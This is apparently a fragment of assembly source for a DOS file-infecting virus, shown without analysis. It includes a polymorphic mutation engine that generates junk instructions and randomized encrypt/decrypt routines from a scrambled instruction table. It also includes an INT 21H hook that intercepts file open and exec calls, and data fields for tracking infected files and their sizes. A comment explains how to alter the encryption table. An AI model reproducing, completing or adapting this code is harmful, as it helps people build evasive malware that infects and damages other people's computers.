SUB AX,0006H
|
|
MOV CX,AX
|
|
CALL Fill_NUM
|
|
Make_LP:CALL RND
|
|
TEST AL,1H
|
|
JNE MAKE_NI
|
|
INC BYTE PTR DS:[BX]
|
|
Make_NI:LOOP Make_LP
|
|
SaveDI: MOV WORD PTR DS:[DOFF],DI
|
|
MOV BYTE PTR DS:[FillB],NO
|
|
RETN
|
|
MAKE@:
|
|
|
|
Fill_NUM:PUSH AX
|
|
PUSH BX
|
|
PUSH CX
|
|
MOV BX,OFFSET FTABLE
|
|
FINLP: CALL RND
|
|
AND AX,000FH
|
|
XLAT
|
|
CLD
|
|
STOSB
|
|
LOOP FINLP
|
|
POP CX
|
|
POP BX
|
|
POP AX
|
|
RETN
|
|
Fill_NUM@:
|
|
|
|
Fill: PUSH AX
|
|
PUSH BX
|
|
PUSH CX
|
|
CALL RND
|
|
AND AX,001FH
|
|
MOV CX,AX
|
|
JCXZ FILRT
|
|
MOV BX,OFFSET FTABLE
|
|
FILP: CALL RND
|
|
MOV AH,0FH
|
|
CMP BYTE PTR DS:[Memory],YES
|
|
JNE AndEf
|
|
MOV AH,07H
|
|
AndEf: AND AL,AH
|
|
XLAT
|
|
CLD
|
|
STOSB
|
|
LOOP FILP
|
|
FILRT: POP CX
|
|
POP BX
|
|
POP AX
|
|
RETN
|
|
Fill@:
|
|
|
|
FTABLE: NOP
|
|
STC
|
|
CLC
|
|
CMC
|
|
CLD
|
|
STI
|
|
NOP ;SAHF
|
|
DB 2EH
|
|
DB 3EH
|
|
DB 26H
|
|
INC BX
|
|
DEC BX
|
|
INC DX
|
|
DEC DX
|
|
INC BP
|
|
DEC BP
|
|
FTABLE@:
|
|
|
|
PUTINC: PUSH AX
|
|
PUSH CX
|
|
PUSH SI
|
|
MOV CL,DS:[FillB]
|
|
MOV SI,OFFSET INCDOFF
|
|
CALL RND
|
|
TEST AL,01H
|
|
JE MOVINC
|
|
ADD SI,6H
|
|
MOVINC: CLD
|
|
MOVSB
|
|
JCXZ NOFIL1
|
|
CALL Fill7
|
|
NOFIL1: CLD
|
|
MOVSB
|
|
JCXZ NOFIL2
|
|
CALL Fill7
|
|
NOFIL2: CALL RND
|
|
TEST AL,1H
|
|
JE MOVINC1
|
|
INC SI
|
|
INC SI
|
|
CLD
|
|
MOVSW
|
|
JMP SHORT MOVINCR
|
|
MOVINC1:CLD
|
|
MOVSB
|
|
JCXZ NOFIL3
|
|
CALL Fill7
|
|
NOFIL3: CLD
|
|
MOVSB
|
|
MOVINCR:POP SI
|
|
POP CX
|
|
POP AX
|
|
RETN
|
|
PUTINC@:
|
|
|
|
Fill7: PUSH AX
|
|
PUSH CX
|
|
CALL RND
|
|
AND AX,0007H
|
|
MOV CX,AX
|
|
JCXZ NOFL7
|
|
CALL Fill_NUM
|
|
NOFL7: POP CX
|
|
POP AX
|
|
RETN
|
|
Fill7@:
|
|
|
|
BTAIL: MOV SI,OFFSET TOP
|
|
CALL RND
|
|
MOV CX,6H
|
|
TEST AL,1H
|
|
JE TAILMOV
|
|
ADD SI,CX
|
|
TAILMOV:CLD
|
|
REP MOVSB
|
|
MOV AX,DI
|
|
SUB AX,DS:[DEC_START] ;TELL TAIL WHERE TO JMP
|
|
NEG AX
|
|
MOV WORD PTR DS:[DI-2H],AX
|
|
MOV WORD PTR DS:[DOFF],DI
|
|
MOV BX,DS:[INST]
|
|
SHL BX,1H
|
|
MOV AX,DI
|
|
SUB AX,BX ;HOW MUCH OF THE DECRYPTION
|
|
PUSH AX ; TO ENCRYPT?
|
|
PUSH BX
|
|
MOV BX,OFFSET FTABLE
|
|
XOR DX,DX
|
|
TAILSL: TEST DI,000FH
|
|
JE TAILPA
|
|
CALL RND
|
|
AND AX,000FH
|
|
XLAT
|
|
STOSB
|
|
INC DX
|
|
JMP TAILSL
|
|
TAILPA: POP BX
|
|
MOV SI,OFFSET Start
|
|
MOV CX,OFFSET Done-OFFSET Start
|
|
CLD
|
|
REP MOVSB
|
|
CALL RND
|
|
AND AX,1H
|
|
ADD DI,AX
|
|
MOV AX,OFFSET DECRYPT
|
|
AND AX,0FFF0H
|
|
ADD AX,0010H
|
|
SUB DI,AX
|
|
MOV WORD PTR DS:[SIZ],DI
|
|
MOV DI,DS:[EOFF]
|
|
MOV BYTE PTR DS:[DI],0C3H
|
|
MOV AX,OFFSET Done-OFFSET Start
|
|
ADD AX,BX
|
|
ADD AX,DX
|
|
XOR DX,DX
|
|
DIV WORD PTR DS:[INST]
|
|
SHR AX,1H
|
|
MOV CX,AX
|
|
INC CX
|
|
MOV DI,DS:[MOVCX]
|
|
MOV WORD PTR DS:[DI],CX
|
|
POP DI
|
|
PUSH DI
|
|
MOV BX,DS:[CALL_OFF]
|
|
SUB DI,BX
|
|
MOV SI,DS:[ADDSI]
|
|
MOV WORD PTR DS:[SI],DI
|
|
POP DI
|
|
MOV SI,DI
|
|
TAILE: MOV AX,OFFSET ENCRYPT
|
|
CALL AX
|
|
LOOP TAILE
|
|
MOV DX,OFFSET DECRYPT
|
|
AND DX,0FFF0H
|
|
ADD DX,0010H
|
|
MOV CX,DS:[SIZ]
|
|
RETN
|
|
BTAIL@:
|
|
|
|
INCDOFF:INC DI
|
|
INC DI
|
|
PUSH DI
|
|
POP SI
|
|
MOV SI,DI
|
|
|
|
INC SI
|
|
INC SI
|
|
PUSH SI
|
|
POP DI
|
|
MOV DI,SI
|
|
INCDOFF@:
|
|
|
|
|
|
|
|
TOP: DEC CX
|
|
JE TOP1
|
|
JMP Start
|
|
TOP1: DEC CX
|
|
JCXZ TOP@
|
|
JMP Start
|
|
TOP@:
|
|
|
|
HEAD: MOV BYTE PTR DS:[PUTCLD],NO
|
|
MOV BYTE PTR DS:[PUTCX],NO
|
|
MOV BYTE PTR DS:[FORCE],NO
|
|
MOV BYTE PTR DS:[PUSHED],NO
|
|
MOV BX,OFFSET HOP
|
|
MOV SI,BX
|
|
CALL CALL_EM
|
|
CLD
|
|
MOVSB
|
|
PUSH DI
|
|
XOR AX,AX
|
|
CLD
|
|
STOSW
|
|
MOV WORD PTR DS:[CALL_OFF],DI
|
|
CALL RND
|
|
AND AX,001FH
|
|
MOV CX,AX
|
|
JCXZ HEAD_NCL
|
|
CALL Fill_NUM
|
|
HEAD_NCL:CALL PUTCL
|
|
POP AX
|
|
PUSH BX
|
|
MOV BX,AX
|
|
JCXZ HEAD_ZER
|
|
HEAD_LP:CALL RND
|
|
TEST AL,1H
|
|
JNE HEAD_NI
|
|
INC BYTE PTR DS:[BX]
|
|
HEAD_NI:LOOP HEAD_LP
|
|
HEAD_ZER:POP BX
|
|
INC SI
|
|
INC SI
|
|
CALL RND
|
|
AND AX,0001H
|
|
MOV DX,AX
|
|
CLD
|
|
LODSB
|
|
OR AL,DL
|
|
CLD
|
|
STOSB
|
|
CALL CALL_EM
|
|
CLD
|
|
MOVSB
|
|
CLD
|
|
LODSB
|
|
OR AL,DL
|
|
CLD
|
|
STOSB
|
|
XOR AX,AX
|
|
MOV WORD PTR DS:[ADDSI],DI
|
|
CLD
|
|
STOSW
|
|
CALL CALL_EM
|
|
CALL RND
|
|
TEST AL,1H
|
|
JNE HEAD_E
|
|
CLD
|
|
LODSB
|
|
OR AL,DL
|
|
CLD
|
|
STOSB
|
|
CALL CALL_EM
|
|
MOV AL,DS:[BX+3H]
|
|
MOV DH,DL
|
|
NEG DH
|
|
INC DH
|
|
OR AL,DH
|
|
CLD
|
|
STOSB
|
|
JMP SHORT HEAD_E1
|
|
HEAD_E: INC SI
|
|
CLD
|
|
MOVSB
|
|
CLD
|
|
LODSB
|
|
MOV CL,4H
|
|
SHL AX,CL
|
|
PUSH CX
|
|
MOV CL,DL
|
|
SHL AL,CL
|
|
POP CX
|
|
SHR AX,CL
|
|
CLD
|
|
STOSB
|
|
HEAD_E1:MOV BYTE PTR DS:[FORCE],YES
|
|
CALL CALL_EM
|
|
MOV WORD PTR DS:[DOFF],DI
|
|
MOV WORD PTR DS:[DEC_START],DI
|
|
RETN
|
|
CALL_EM:CALL Fill
|
|
CALL PUTCL
|
|
RETN
|
|
HEAD@:
|
|
|
|
HOP: DB 0E8H ;CALL
|
|
DB 0FCH ;CLD
|
|
DB 0B9H ;MOV CX,
|
|
DB 5EH ;POP SI 5FH = POP DI
|
|
DB 81H ;ADD
|
|
DB 0C6H ;SI C7H = DI
|
|
DB 56H ;PUSH SI 57H = PUSH DI
|
|
DB 89H ;MOV
|
|
DB 0F7H ;DI,SI 0FEH = SI,DI
|
|
DB 06H ;PUSH ES
|
|
DB 0EH ;PUSH CS
|
|
DB 1FH ;POP DS
|
|
DB 0EH ;PUSH CS
|
|
DB 07H ;POP ES
|
|
HOP@:
|
|
|
|
|
|
PUTCL: PUSH AX
|
|
CALL RND
|
|
CMP BYTE PTR DS:[FORCE],YES
|
|
JE PUTCL_F
|
|
TEST AL,01H
|
|
JNE PUTCL_NO
|
|
PUTCL_F:CMP BYTE PTR DS:[PUTCLD],YES
|
|
JE PUTCL_NO
|
|
MOV AL,DS:[BX+1H]
|
|
CLD
|
|
STOSB
|
|
CALL Fill
|
|
MOV BYTE PTR DS:[PUTCLD],YES
|
|
PUTCL_NO:CALL RND
|
|
CMP BYTE PTR DS:[FORCE],YES
|
|
JE PUTCL_F1
|
|
TEST AL,1H
|
|
JNE PUTCL_NO1
|
|
PUTCL_F1:CMP BYTE PTR DS:[PUTCX],YES
|
|
JE PUTCL_NO1
|
|
MOV AL,DS:[BX+2H]
|
|
CLD
|
|
STOSB
|
|
MOV WORD PTR DS:[MOVCX],DI
|
|
XOR AX,AX
|
|
CLD
|
|
STOSW
|
|
CALL Fill
|
|
MOV BYTE PTR DS:[PUTCX],YES
|
|
PUTCL_NO1:MOV BYTE PTR DS:[Begin],1EH
|
|
CMP BYTE PTR DS:[Memory],YES
|
|
JE PUTCL_MEM
|
|
CMP BYTE PTR DS:[File],COM
|
|
JE PutCLRet
|
|
PUTCL_MEM:MOV BYTE PTR DS:[Begin],90H
|
|
CMP BYTE PTR DS:[PUSHED],YES
|
|
JE PutCLRet
|
|
PUSH CX
|
|
PUSH SI
|
|
MOV SI,OFFSET HOP+9H
|
|
MOV CX,5H
|
|
CMP BYTE PTR DS:[Memory],NO
|
|
JE PUTCL_LP1
|
|
INC SI
|
|
DEC CX
|
|
PUTCL_LP1:CLD
|
|
MOVSB
|
|
CALL Fill
|
|
LOOP PUTCL_LP1
|
|
POP SI
|
|
POP CX
|
|
MOV BYTE PTR DS:[PUSHED],YES
|
|
PutCLRet:POP AX
|
|
RETN
|
|
PUTCL@:
|
|
|
|
RanFunction:PUSH AX
|
|
PUSH BX
|
|
PUSH DI
|
|
MOV DI,OFFSET FunctionComp+2H
|
|
MOV BYTE PTR DS:[FuncByte],0H
|
|
RanFuncLP:CMP BYTE PTR DS:[FuncByte],0FH
|
|
JE RanFuncEnd
|
|
CALL RND
|
|
AND AL,3H
|
|
MOV AH,3DH
|
|
MOV BL,1H
|
|
CMP AL,0H
|
|
JE GotFunc
|
|
MOV AH,4BH
|
|
MOV BL,2H
|
|
CMP AL,1H
|
|
JE GotFunc
|
|
MOV AH,6CH
|
|
MOV BL,4H
|
|
CMP AL,2H
|
|
JE GotFunc
|
|
MOV AH,Signal
|
|
MOV BL,8H
|
|
CMP AL,3H
|
|
JNE RanFuncLP
|
|
GotFunc:TEST BYTE PTR DS:[FuncByte],BL
|
|
JNE RanFuncLP
|
|
OR BYTE PTR DS:[FuncByte],BL
|
|
MOV BYTE PTR DS:[DI],AH
|
|
ADD DI,0005H
|
|
JMP SHORT RanFuncLP
|
|
RanFuncEnd:POP DI
|
|
POP BX
|
|
POP AX
|
|
RETN
|
|
|
|
MemHead:MOV BYTE PTR DS:[PUTCLD],NO
|
|
MOV BYTE PTR DS:[PUTCX],NO
|
|
MOV BYTE PTR DS:[FORCE],NO
|
|
MOV BYTE PTR DS:[PUSHED],NO
|
|
MOV BX,OFFSET HOP
|
|
CALL RanFunction
|
|
MOV DI,DS:[DOFF]
|
|
MOV SI,OFFSET FunctionComp
|
|
MOV CX,OFFSET MemDecrypt-FunctionComp
|
|
MOV WORD PTR DS:[JumpHandle+1H],DI
|
|
MOV WORD PTR DS:[JumpHandle+3H],CS
|
|
MOV AX,DS:[Vector21]
|
|
MOV WORD PTR DS:[FunctionJump+1H],AX
|
|
MOV AX,DS:[Vector21+2H]
|
|
MOV WORD PTR DS:[FunctionJump+3H],AX
|
|
CALL Fill
|
|
CLD
|
|
REP MOVSB
|
|
MOV SI,OFFSET MemBuild
|
|
MOV CX,0009H
|
|
MemHeadLP:CALL Fill
|
|
CLD
|
|
MOVSB
|
|
LOOP MemHeadLP
|
|
CALL CALL_EM
|
|
CALL RND
|
|
AND AL,01H
|
|
MOV DL,AL
|
|
MOV AL,0BEH
|
|
OR AL,DL
|
|
CLD
|
|
STOSB
|
|
MOV AX,100H
|
|
CLD
|
|
STOSW
|
|
CALL CALL_EM
|
|
MOV AL,89H
|
|
CLD
|
|
STOSB
|
|
MOV AL,0F7H
|
|
MOV CL,DL
|
|
SHL CL,1
|
|
SHL CL,1
|
|
SHL AX,CL
|
|
PUSH CX
|
|
MOV CL,DL
|
|
SHL AL,CL
|
|
POP CX
|
|
SHR AX,CL
|
|
CLD
|
|
STOSB
|
|
MOV BYTE PTR DS:[Force],YES
|
|
CALL CALL_EM
|
|
MOV WORD PTR DS:[DOFF],DI
|
|
MOV WORD PTR DS:[DEC_START],DI
|
|
RETN
|
|
|
|
|
|
MemTail:MOV SI,OFFSET TOP
|
|
MOV DI,DS:[DOFF]
|
|
MOV CX,6H
|
|
CALL RND
|
|
TEST AL,1H
|
|
JE MemNoADD
|
|
ADD SI,CX
|
|
MemNoAdd:CLD
|
|
REP MOVSB
|
|
PUSH DI
|
|
CALL Fill
|
|
MOV AL,0EAH
|
|
CLD
|
|
STOSB
|
|
MOV AX,OFFSET Handle21Pall
|
|
CLD
|
|
STOSW
|
|
MOV AX,CS
|
|
CLD
|
|
STOSW
|
|
POP AX
|
|
MOV BX,AX
|
|
SUB AX,DS:[DEC_START]
|
|
NEG AX
|
|
MOV WORD PTR DS:[BX-2H],AX
|
|
MOV WORD PTR DS:[DOFF],DI
|
|
MOV BX,DS:[INST]
|
|
SHL BX,1H
|
|
XOR DX,DX
|
|
MOV AX,OFFSET Done-OFFSET Start
|
|
DIV BX
|
|
INC AX
|
|
MOV DI,DS:[MOVCX]
|
|
MOV WORD PTR DS:[DI],AX
|
|
MOV BX,AX
|
|
MOV DI,DS:[EOFF]
|
|
MOV SI,OFFSET MemEncrypt
|
|
MOV CX,OFFSET MemEncrypt@-OFFSET MemEncrypt
|
|
MOV AX,DI
|
|
CLD
|
|
REP MOVSB
|
|
MOV CX,BX
|
|
CMP BYTE PTR DS:[ReturnFar],YES
|
|
JE NoPush
|
|
SUB DI,5H
|
|
PUSH AX
|
|
MOV AL,0EAH
|
|
CLD
|
|
STOSB
|
|
MOV AX,DS:[Vector21]
|
|
CLD
|
|
STOSW
|
|
MOV AX,DS:[Vector21+2H]
|
|
CLD
|
|
STOSW
|
|
POP AX
|
|
NoPush: MOV BYTE PTR DS:[Busy_Flag],No
|
|
MOV SI,100H
|
|
MOV DI,SI
|
|
INC AX
|
|
JMP AX
|
|
|
|
MemEncrypt:RETN
|
|
MemLoop:MOV AX,OFFSET Encrypt
|
|
CALL AX
|
|
LOOP MemLoop
|
|
XOR AX,AX
|
|
POP ES
|
|
POP DS
|
|
POP BP
|
|
POP SI
|
|
POP DI
|
|
POP DX
|
|
POP CX
|
|
POP BX
|
|
POP AX
|
|
RETF 0002H
|
|
DB 0H,0H
|
|
MemEncrypt@:
|
|
|
|
|
|
|
|
FunctionComp:CMP AH,3DH
|
|
JE MemDecrypt
|
|
CMP AH,4BH
|
|
JE MemDecrypt
|
|
CMP AH,6CH
|
|
JE MemDecrypt
|
|
CMP AH,Signal
|
|
JE MemDecrypt
|
|
FunctionJump:DB 0EAH,00H,00H,00H,00H
|
|
MemDecrypt:
|
|
|
|
|
|
LODSTO DB 0ADH,0ABH
|
|
LODSTO@:
|
|
|
|
; These instructions can be changed if you follow the formating
|
|
; protocal
|
|
|
|
; Example: E1: DB 00100100B ;2,I,N,W
|
|
; ADD WORD PTR DS:[SI],CX
|
|
; SUB WORD PTR DS:[SI],CX
|
|
;
|
|
; This would change E1 so that it would add/sub the counter
|
|
; regs to every word encrypted
|
|
;
|
|
;
|
|
|
|
ETAB: DW OFFSET E1-OFFSET ETAB,OFFSET E2-OFFSET ETAB,OFFSET E3-OFFSET ETAB,OFFSET E4-OFFSET ETAB,OFFSET E5-OFFSET ETAB
|
|
DW OFFSET E6-OFFSET ETAB,OFFSET E7-OFFSET ETAB,OFFSET E8-OFFSET ETAB,OFFSET E9-OFFSET ETAB,OFFSET E10-OFFSET ETAB,OFFSET E11-OFFSET ETAB
|
|
DW OFFSET E12-OFFSET ETAB,OFFSET E13-OFFSET ETAB,OFFSET E14-OFFSET ETAB,OFFSET E15-OFFSET ETAB,OFFSET E16-OFFSET ETAB,OFFSET E17-OFFSET ETAB
|
|
DW OFFSET E18-OFFSET ETAB,OFFSET E19-OFFSET ETAB,OFFSET E20-OFFSET ETAB,OFFSET E21-OFFSET ETAB,OFFSET E22-OFFSET ETAB,OFFSET E23-OFFSET ETAB
|
|
DW OFFSET E24-OFFSET ETAB,OFFSET E25-OFFSET ETAB,OFFSET E26-OFFSET ETAB,OFFSET E27-OFFSET ETAB,OFFSET E28-OFFSET ETAB,OFFSET E29-OFFSET ETAB
|
|
DW OFFSET E30-OFFSET ETAB,OFFSET E31-OFFSET ETAB,OFFSET E32-OFFSET ETAB
|
|
;xxxxyyyy = xxxx EQUALS SIZE OF INSTRUCTION
|
|
;0xxx = INDIRECT 1xxx = LODSW
|
|
;x0xx = ADD x1xx = NO ADD
|
|
;xx0x = WORD xx1x = BYTE (ONLY COUNTS IF ADD BIT IS ZERO)
|
|
;xxx0 = [SI] xxx1 = [SI+1H]
|
|
E1: DB 01000000B ;4,I,A,W
|
|
ADD WORD PTR DS:[SI],1234H
|
|
SUB WORD PTR DS:[SI],1234H
|
|
E2: DB 00110010B ;3,I,A,B
|
|
ADD BYTE PTR DS:[SI],12H
|
|
SUB BYTE PTR DS:[SI],12H
|
|
E3: DB 01000011B ;4,I,A,B
|
|
ADD BYTE PTR DS:[SI+1H],12H
|
|
SUB BYTE PTR DS:[SI+1H],12H
|
|
E4: DB 00100100B ;2,I,N
|
|
ROR WORD PTR DS:[SI],CL
|
|
ROL WORD PTR DS:[SI],CL
|
|
E5: DB 00100100B ;2,I,N
|
|
ROR BYTE PTR DS:[SI],CL
|
|
ROL BYTE PTR DS:[SI],CL
|
|
E6: DB 00110101B ;3,I,N
|
|
ROR BYTE PTR DS:[SI+1H],CL
|
|
ROL BYTE PTR DS:[SI+1H],CL
|
|
E7: DB 00100100B ;2,I,N
|
|
NOT WORD PTR DS:[SI]
|
|
NOT WORD PTR DS:[SI]
|
|
E8: DB 00100100B ;2,I,N
|
|
NOT BYTE PTR DS:[SI]
|
|
NOT BYTE PTR DS:[SI]
|
|
E9: DB 00110101B ;3,I,N
|
|
NOT BYTE PTR DS:[SI+1H]
|
|
NOT BYTE PTR DS:[SI+1H]
|
|
E10: DB 01000000B ;4,I,A,W
|
|
XOR WORD PTR DS:[SI],1234H
|
|
XOR WORD PTR DS:[SI],1234H
|
|
E11: DB 00110010B ;3,I,A,B
|
|
XOR BYTE PTR DS:[SI],12H
|
|
XOR BYTE PTR DS:[SI],12H
|
|
E12: DB 01000011B ;4,I,A,B
|
|
XOR BYTE PTR DS:[SI+1H],12
|
|
XOR BYTE PTR DS:[SI+1H],12
|
|
E13: DB 00100100B ;2,I,N
|
|
NEG WORD PTR DS:[SI]
|
|
NEG WORD PTR DS:[SI]
|
|
E14: DB 00100100B ;2,I,N
|
|
NEG BYTE PTR DS:[SI]
|
|
NEG BYTE PTR DS:[SI]
|
|
E15: DB 00110101B ;3,I,N
|
|
NEG BYTE PTR DS:[SI+1H]
|
|
NEG BYTE PTR DS:[SI+1H]
|
|
E16: DB 00111000B ;3,L,A,W
|
|
ADD AX,1234H
|
|
SUB AX,1234H
|
|
E17: DB 00111010B ;3,L,A,B
|
|
ADD AH,12H
|
|
SUB AH,12H
|
|
E18: DB 00101010B ;2,L,A,B
|
|
ADD AL,12H
|
|
SUB AL,12H
|
|
E19: DB 00111000B ;3,L,A,W
|
|
XOR AX,1234H
|
|
XOR AX,1234H
|
|
E20: DB 00101010B ;2,L,A,B
|
|
XOR AL,12H
|
|
XOR AL,12H
|
|
E21: DB 00111010B ;2,L,N
|
|
XOR AH,12H
|
|
XOR AH,12H
|
|
E22: DB 00101100B ;2,L,N
|
|
XOR AX,CX
|
|
XOR AX,CX
|
|
E23: DB 00101100B ;2,L,N
|
|
XCHG AL,AH
|
|
XCHG AL,AH
|
|
E24: DB 00101100B ;2,L,N
|
|
NOT AX
|
|
NOT AX
|
|
E25: DB 00101100B ;2,L,N
|
|
NOT AL
|
|
NOT AL
|
|
E26: DB 00101100B ;2,L,N
|
|
NOT AH
|
|
NOT AH
|
|
E27: DB 00101100B ;2,L,N
|
|
NEG AX
|
|
NEG AX
|
|
E28: DB 00101100B ;2,L,N
|
|
NEG AH
|
|
NEG AH
|
|
E29: DB 00101100B ;2,L,N
|
|
NEG AL
|
|
NEG AL
|
|
E30: DB 00101100B
|
|
ROR AX,CL
|
|
ROL AX,CL
|
|
E31: DB 00101100B
|
|
ROR AL,CL
|
|
ROL AL,CL
|
|
E32: DB 00101100B
|
|
ROR AH,CL
|
|
ROL AH,CL
|
|
ETAB@:
|
|
|
|
ALTTAB: MOV CX,7FH ;Scramble Encryption table
|
|
ALTTABL:MOV DI,OFFSET ETAB
|
|
MOV SI,DI
|
|
CALL RND
|
|
AND AX,1FH
|
|
SHL AX,1H
|
|
ADD DI,AX
|
|
CALL RND
|
|
AND AX,1FH
|
|
SHL AX,1H
|
|
ADD SI,AX
|
|
CMP SI,DI
|
|
JE ALTTABL
|
|
MOV AX,DS:[SI]
|
|
XCHG AX,DS:[DI]
|
|
MOV WORD PTR DS:[SI],AX
|
|
LOOP ALTTABL
|
|
RETN
|
|
DB ?
|
|
ALTTAB@:
|
|
Done: DB ?
|
|
|
|
|
|
EOFF DW ?
|
|
DOFF DW ?
|
|
ADDSI DW ?
|
|
SIZ DW ?
|
|
MOVCX DW ?
|
|
ECNT DW ?
|
|
INST DW ?
|
|
CALL_OFF DW ?
|
|
DEC_START DW ?
|
|
WRITE_BYTE DB ?
|
|
PATH_END DB ?
|
|
FillB DB ?
|
|
FORCE DB ?
|
|
PUTCLD DB ?
|
|
PUTCX DB ?
|
|
PUSHED DB ?
|
|
|
|
Vector21 DD ? ;Segment:Offset of INT 21H
|
|
DTA DD ? ;Segment:Offset of DTA
|
|
FileSeg DD ? ;Segment:Offset of file
|
|
FileDS DW ? ;Original Data Segment
|
|
AddSeg DW ?
|
|
OldFileSize DD ?
|
|
NewFileSize DD ?
|
|
Infected DB ?
|
|
Opened DB ?
|
|
Attribute DB ?
|
|
Memory DB ?
|
|
ReturnFar DB ?
|
|
FuncByte DB ?
|
|
Busy_Flag DB ?
|
|
|
|
MemDelete:
|
|
ImmuneBytes DB 20H DUP(0)
|
|
|
|
First20 DB 20H DUP(0)
|
|
|
|
NewDTA DB 128 DUP(0)
|
|
|
|
ENCRYPT: DB 512 DUP(0)
|
|
|
|
JumpHandle DB 5 DUP(0) ;JMP CS:Handle21
|
|
|
|
DECRYPT DB 0H
|
|
|
|
Vend:
|
|
CSEG ENDS
|
|
END Start
|
|
|